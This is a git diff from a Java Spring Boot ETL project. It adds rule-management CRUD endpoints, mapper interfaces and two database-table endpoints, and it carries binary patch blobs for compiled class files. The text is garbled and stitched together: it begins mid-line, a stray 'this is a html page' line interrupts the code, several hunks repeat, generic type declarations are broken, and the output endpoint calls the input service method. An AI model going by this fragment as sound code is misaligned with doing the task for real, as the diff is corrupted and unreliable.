com.etl.data.source.common.pojo.DatabaseConfig; import com.etl.data.source.common.pojo.DatabaseRedis; import com.etl.data.source.common.pojo.resq.ColumnInfo; +import com.etl.data.source.common.pojo.until.R; import com.etl.data.source.server.service.DatabaseService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; @@ -60,4 +61,16 @@ public class DatabaseController { return Result.success(databaseService.findDatabaseTableField(config)); } + @PostMapping("/findDatabaseTableFieldPrice") + @ApiOperation("数据表输入") + public Result> > findDatabaseTableFieldPrice(@Valid @RequestBody DatabaseConfig config){ + return Result.success(databaseService.findDatabaseTableFieldPrice(config)); + } + + @PostMapping("outDatabaseTableFieldPrice") + @ApiOperation("数据表输出") + public Result outDatabaseTableFieldPrice(@Valid @RequestBody DatabaseConfig config){ + return Result.success(databaseService.findDatabaseTableFieldPrice(config)); + } + } diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java new file mode 100644 index 0000000..befeae9 --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java @@ -0,0 +1,57 @@ +package com.etl.data.source.server.controller; + +import com.etl.data.source.common.pojo.Code; +import com.etl.data.source.common.pojo.Rule; +import com.etl.data.source.common.pojo.req.RuleReq; +import com.etl.data.source.common.pojo.until.R; +import com.etl.data.source.server.service.RuleService; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * @ClassName RuleController + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:33 + */ +@RestController +@Api(tags = "规则管理") +public class RuleController { + @Autowired + private RuleService ruleService; + + @GetMapping("findRule") + @ApiOperation(value = "查询规则") + public R findRule(@RequestBody RuleReq ruleReq) { + List ruleList=ruleService.findRule(ruleReq); + return R.ok(ruleList); + } + + @PostMapping("addRule") + @ApiOperation(value = "添加规则") + public R addRule(@RequestBody Rule rule) { + return ruleService.addRule(rule); + } + + @PutMapping("updateRule") + @ApiOperation(value = "修改规则") + public R updateRule(@RequestBody Rule rule) { + return ruleService.updateRule(rule); + } + + @DeleteMapping("deleteRule") + @ApiOperation(value = "删除规则") + public R deleteRule(@RequestParam("id") Long id) { + return ruleService.deleteRule(id); + } + + @PostMapping("/addCode") + @ApiOperation(value = "添加规则") + public R addCode(@RequestBody Code code) { + return ruleService.addCode(code); + } +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java index 607b3d2..d7bef75 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java @@ -17,7 +17,7 @@ import java.util.List; * @Date 2024/6/25 20:59 */ @RestController -@Api("任务模块") +@Api(tags = "任务模块") public class TaskController { @Autowired private TaskService taskService; diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java new file mode 100644 index 0000000..0f58282 --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java @@ -0,0 +1,13 @@ +package com.etl.data.source.server.mapper; + +import com.etl.data.source.common.pojo.Code; +import com.github.yulichang.base.MPJBaseMapper; + +/** + * @ClassName CodeBaseMapper + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:36 + */ +public interface CodeBaseMapper extends MPJBaseMapper { +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java new file mode 100644 index 0000000..e82c49e --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java @@ -0,0 +1,13 @@ +package com.etl.data.source.server.mapper; + +import com.etl.data.source.common.pojo.Rule; +import com.github.yulichang.base.MPJBaseMapper; + +/** + * @ClassName RuleBaseMapper + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:35 + */ +public interface RuleBaseMapper extends MPJBaseMapper { +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java index 27e2e86..a5e5f61 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java @@ -29,4 +29,5 @@ public interface DatabaseService { Map
this is a html page
e9L^AnznvKm*m> zdqhH(Mx{ZEgY-qZ6ou0&-lWTL7xGX-yh2}st%3T)i*z|OFP$NF(-qKsv_d>cS3>hs zR$ND4h8CcL*h*JHQ|MZeqpv^<(v4z_z6vcwQ(};|LJQO5VhLRhO{G^bj&0B)^tzZs z*FcNnzIKqVg%%Tj`WJl-TBA6MUZ(4yHHm(Dfv$%Z7iZ!#;s$8VVioP6uS07QdBnI8 zTB|5yB;SD6Ca%YK*-g;e#m)F?yBS)Ccog^QZ$i_=UfkSofz~Nr#b?2-(7MDv>Z04A zb+yyPK#lp!|oT0lNKdY75Y}@lO$NQ-@T8|34KAg3ndC+wsXFj5F8A+nm?jQ@iFQ z4`p9v&9RD?VV2x{@Tn@p_$I+?MAH~0+ zLk}7*^b(U5thh8iWVk|A7dnh&b?RZmh2~QXDNZareS&}~dsq~hw) zqlPP5b)g5zcg@jbh70Y-WW@|ux9i5liW=!R7pXy{M(qMb` zu%VTF6+i{!b(&0=-v+agwN?`xaDpwoi^HTSvnUqJ-DeVmZbXZFNViE39fEE}cqfDz zBz))~R-D6t%uwn(hO(j^9%lxO94??0vo5F^mfNjSSD?ScKcnirMsuzQZ3d6k7u*{8 zyC9gaXsr7c)?3~k2QNZfz@O4&=cbp?8u*VLlaEpF`dxHn{5?}NmmByLCE`a(y_xl+ zrQVL8_%Tw)y<={Cp42tg=Sv+|jk$5e;5fMDB;x&2?_xVH9&E==V{RPB0_&}eIacaD wY)?uZm!CxZIH}KJ`|%J{bVBW?r~Pj-lV%I_(3EkS?W+E@XE)~gXp#2(4~qLk;{X5v diff --git a/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DatabaseConfig.class b/etl-data-source/el-data-source-common/target/classes/com/etl/data/source/common/pojo/DatabaseConfig.class index 350a6fdceec9833359e8ee62b9b1cb0da9d179cb..18e8ab2dc80f3174fe15d7f12e7c98df53c2b4d4 100644 GIT binary patch literal 5283 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 Xil-0?zu|w3l3@Lb;ThVKqi6pI?Bs6b literal 0 HcmV?d00001 diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java index a55991f..12b10ce 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DataSheetController.java @@ -3,6 +3,7 @@ package com.etl.data.source.server.controller; import com.etl.data.source.server.service.DataSheetService; import io.swagger.annotations.Api; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; /** @@ -16,4 +17,6 @@ import org.springframework.web.bind.annotation.RestController; public class DataSheetController { @Autowired private DataSheetService dataSheetService; + + } diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java index 9e0ab85..4672c1a 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/DatabaseController.java @@ -5,6 +5,7 @@ import com.etl.data.source.common.config.Limit; import com.etl.data.source.common.pojo.DatabaseConfig; import com.etl.data.source.common.pojo.DatabaseRedis; import com.etl.data.source.common.pojo.resq.ColumnInfo; +import com.etl.data.source.common.pojo.until.R; import com.etl.data.source.server.service.DatabaseService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; @@ -60,4 +61,16 @@ public class DatabaseController { return Result.success(databaseService.findDatabaseTableField(config)); } + @PostMapping("/findDatabaseTableFieldPrice") + @ApiOperation("数据表输入") + public Result> > findDatabaseTableFieldPrice(@Valid @RequestBody DatabaseConfig config){ + return Result.success(databaseService.findDatabaseTableFieldPrice(config)); + } + + @PostMapping("outDatabaseTableFieldPrice") + @ApiOperation("数据表输出") + public Result outDatabaseTableFieldPrice(@Valid @RequestBody DatabaseConfig config){ + return Result.success(databaseService.findDatabaseTableFieldPrice(config)); + } + } diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java new file mode 100644 index 0000000..befeae9 --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/RuleController.java @@ -0,0 +1,57 @@ +package com.etl.data.source.server.controller; + +import com.etl.data.source.common.pojo.Code; +import com.etl.data.source.common.pojo.Rule; +import com.etl.data.source.common.pojo.req.RuleReq; +import com.etl.data.source.common.pojo.until.R; +import com.etl.data.source.server.service.RuleService; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * @ClassName RuleController + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:33 + */ +@RestController +@Api(tags = "规则管理") +public class RuleController { + @Autowired + private RuleService ruleService; + + @GetMapping("findRule") + @ApiOperation(value = "查询规则") + public R findRule(@RequestBody RuleReq ruleReq) { + List ruleList=ruleService.findRule(ruleReq); + return R.ok(ruleList); + } + + @PostMapping("addRule") + @ApiOperation(value = "添加规则") + public R addRule(@RequestBody Rule rule) { + return ruleService.addRule(rule); + } + + @PutMapping("updateRule") + @ApiOperation(value = "修改规则") + public R updateRule(@RequestBody Rule rule) { + return ruleService.updateRule(rule); + } + + @DeleteMapping("deleteRule") + @ApiOperation(value = "删除规则") + public R deleteRule(@RequestParam("id") Long id) { + return ruleService.deleteRule(id); + } + + @PostMapping("/addCode") + @ApiOperation(value = "添加规则") + public R addCode(@RequestBody Code code) { + return ruleService.addCode(code); + } +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java index 607b3d2..d7bef75 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/controller/TaskController.java @@ -17,7 +17,7 @@ import java.util.List; * @Date 2024/6/25 20:59 */ @RestController -@Api("任务模块") +@Api(tags = "任务模块") public class TaskController { @Autowired private TaskService taskService; diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java new file mode 100644 index 0000000..0f58282 --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/CodeBaseMapper.java @@ -0,0 +1,13 @@ +package com.etl.data.source.server.mapper; + +import com.etl.data.source.common.pojo.Code; +import com.github.yulichang.base.MPJBaseMapper; + +/** + * @ClassName CodeBaseMapper + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:36 + */ +public interface CodeBaseMapper extends MPJBaseMapper { +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java new file mode 100644 index 0000000..e82c49e --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java @@ -0,0 +1,13 @@ +package com.etl.data.source.server.mapper; + +import com.etl.data.source.common.pojo.Rule; +import com.github.yulichang.base.MPJBaseMapper; + +/** + * @ClassName RuleBaseMapper + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:35 + */ +public interface RuleBaseMapper extends MPJBaseMapper { +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java index 27e2e86..a5e5f61 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java @@ -29,4 +29,5 @@ public interface DatabaseService { Map
{ +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java new file mode 100644 index 0000000..e82c49e --- /dev/null +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/mapper/RuleBaseMapper.java @@ -0,0 +1,13 @@ +package com.etl.data.source.server.mapper; + +import com.etl.data.source.common.pojo.Rule; +import com.github.yulichang.base.MPJBaseMapper; + +/** + * @ClassName RuleBaseMapper + * @Description 描述 + * @Author ZeZhang.Liu + * @Date 2024/6/26 9:35 + */ +public interface RuleBaseMapper extends MPJBaseMapper { +} diff --git a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java index 27e2e86..a5e5f61 100644 --- a/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java +++ b/etl-data-source/el-data-source-server/src/main/java/com/etl/data/source/server/service/DatabaseService.java @@ -29,4 +29,5 @@ public interface DatabaseService { Map